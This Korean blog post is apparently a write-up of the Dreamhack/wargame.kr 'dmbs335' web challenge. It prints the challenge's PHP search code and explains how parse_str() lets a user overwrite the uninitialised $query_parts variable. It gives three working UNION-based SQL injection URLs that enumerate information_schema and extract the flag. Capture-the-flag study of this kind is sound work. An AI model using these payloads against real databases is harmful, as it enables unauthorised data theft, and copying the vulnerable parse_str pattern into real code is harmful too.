외로운 Nova의 작업실

dreamhack - [wargame.kr] dmbs335 문제풀이 본문

Web Penetesting/Web Vulnerability

dreamhack - [wargame.kr] dmbs335 문제풀이

Nova_ 2023. 6. 5. 17:21

- 문제 인식

 

<코드>

 <?php 

if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
}

include("./inc.php"); // Database Connected

function getOperator(&$operator) { 
    switch($operator) { 
        case 'and': 
        case '&&': 
            $operator = 'and'; 
            break; 
        case 'or': 
        case '||': 
            $operator = 'or'; 
            break; 
        default: 
            $operator = 'or'; 
            break; 
}} 

if(preg_match('/session/isUD',$_SERVER['QUERY_STRING'])) {
    exit('not allowed');
}

parse_str($_SERVER['QUERY_STRING']); 
getOperator($operator); 
$keyword = addslashes($keyword);
$where_clause = ''; 

if(!isset($search_cols)) { 
    $search_cols = 'subject|content'; 
} 

$cols = explode('|',$search_cols); 

foreach($cols as $col) { 
    $col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : ''; 
    if($col) { 
        $query_parts = $col . " like '%" . $keyword . "%'"; 
    } 

    if($query_parts) { 
        $where_clause .= $query_parts; 
        $where_clause .= ' '; 
        $where_clause .= $operator; 
        $where_clause .= ' '; 
        $query_parts = ''; 
    } 
} 

if(!$where_clause) { 
    $where_clause = "content like '%{$keyword}%'"; 
} 
if(preg_match('/\s'.$operator.'\s$/isDU',$where_clause)) { 
    $len = strlen($where_clause) - (strlen($operator) + 2);
    $where_clause = substr($where_clause, 0, $len); 
} 


?>
<style>
    td:first-child, td:last-child {text-align:center;}
    td {padding:3px; border:1px solid #ddd;}
    thead td {font-weight:bold; text-align:center;}
    tbody tr {cursor:pointer;}
</style>
<br />
<table border=1>
    <thead>
        <tr><td>Num</td><td>subject</td><td>content</td><td>writer</td></tr>
    </thead>
    <tbody>
        <?php
            $result = mysql_query("select * from board where {$where_clause} order by idx desc");
            while ($row = mysql_fetch_assoc($result)) {
                echo "<tr>";
                echo "<td>{$row['idx']}</td>";
                echo "<td>{$row['subject']}</td>";
                echo "<td>{$row['content']}</td>";
                echo "<td>{$row['writer']}</td>";
                echo "</tr>";
            }
        ?>
    </tbody>
    <tfoot>
        <tr><td colspan=4>
            <form method="">
                <select name="search_cols">
                    <option value="subject" selected>subject</option>
                    <option value="content">content</option>
                    <option value="content|content">subject, content</option>
                    <option value="writer">writer</option>
                </select>
                <input type="text" name="keyword" />
                <input type="radio" name="operator" value="or" checked /> or &nbsp;&nbsp;
                <input type="radio" name="operator" value="and" /> and
                <input type="submit" value="SEARCH" />
            </form>
        </td></tr>
    </tfoot>
</table>
<br />
<a href="./?view-source">view-source</a><br />

 

- 문제 설계

취약점은 항상 입력값으로 나옵니다. 해당 문제에서 입력값은 3개입니다. search_cols, keyword, operator 이렇게 3개입니다. 3개를 어떻게 검증하는지 잠깐 보겠습니다.

 

<search_cols>

foreach($cols as $col) { 
    $col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : ''; 
    if($col) { 
        $query_parts = $col . " like '%" . $keyword . "%'"; 
    } 

    if($query_parts) { 
        $where_clause .= $query_parts; 
        $where_clause .= ' '; 
        $where_clause .= $operator; 
        $where_clause .= ' '; 
        $query_parts = ''; 
    } 
}

search_cols는 pregmatch를 통해 subject contet writer가 아니면 ''으로 초기화시켜버리는 검증 구조를 가지고 있습니다.

 

<keyword>

$keyword = addslashes($keyword);

addslashes함수를 통해 " 나 ' 등의 특수문자앞에 \를 추가하고 있습니다.

 

<operator>

function getOperator(&$operator) { 
    switch($operator) { 
        case 'and': 
        case '&&': 
            $operator = 'and'; 
            break; 
        case 'or': 
        case '||': 
            $operator = 'or'; 
            break; 
        default: 
            $operator = 'or'; 
            break; 
}}

operator은 딱 and와 or 값만 가지게 검증하고 있습니다.

 

3개 모두 잘 검증하고 있기에 직접적인 취약한 부분이 없는 것 같습니다. 하지만 코드중에서 이런함수가 있습니다.

parse_str($_SERVER['QUERY_STRING']);

이함수는 예를 들어, $_SERVER['QUERY_STRING']에 'name=John&age=25&city=New+York'라는 문자열이 저장되어 있다면, parse_str($_SERVER['QUERY_STRING'])은 다음과 같이 동작합니다:

$name = 'John';
$age = 25;
$city = 'New York';

따라서 새로운 매개변수를 집어넣어주면 php상에서 변수를 초기화해줍니다. 이 부분을 고려해서 코드를 다시보게되면

foreach($cols as $col) { 
    $col = preg_match('/^(subject|content|writer)$/isDU',$col) ? $col : ''; 
    if($col) { 
        $query_parts = $col . " like '%" . $keyword . "%'"; 
    } 

    if($query_parts) { 
        $where_clause .= $query_parts; 
        $where_clause .= ' '; 
        $where_clause .= $operator; 
        $where_clause .= ' '; 
        $query_parts = ''; 
    } 
}

$col 변수에 ''와 같이 아무것도 없게되면 초기화되지 않는 것을 볼 수 있습니다. 따라서 search_cols에 fake와 같은 다른 문자를 주고 query_parts에 sql 인젝션 페이로드를 전달할 수 있습니다.

 

- 문제 풀이

먼저 스키마테이블을 통해 테이블 명을 얻어냅니다. information_schema.tables

/?search_cols=fake&keyword=asd&operator=or&query_parts=1%20union%20select%201,2,3,table_name%20from%20information_schema.tables%23

이제 스키마를 통해 칼럼명을 알아냅니다. information_schema.columns

/?search_cols=fake&keyword=asd&operator=or&query_parts=1%20union%20select%201,2,3,column_name%20from%20information_schema.columns%23

이제 플래그값을 얻어냅니다.

/?search_cols=fake&keyword=asd&operator=or&query_parts=1%20union%20select%201,2,3,f1ag%20from%20Th1s_1s_Flag_tbl%23

Comments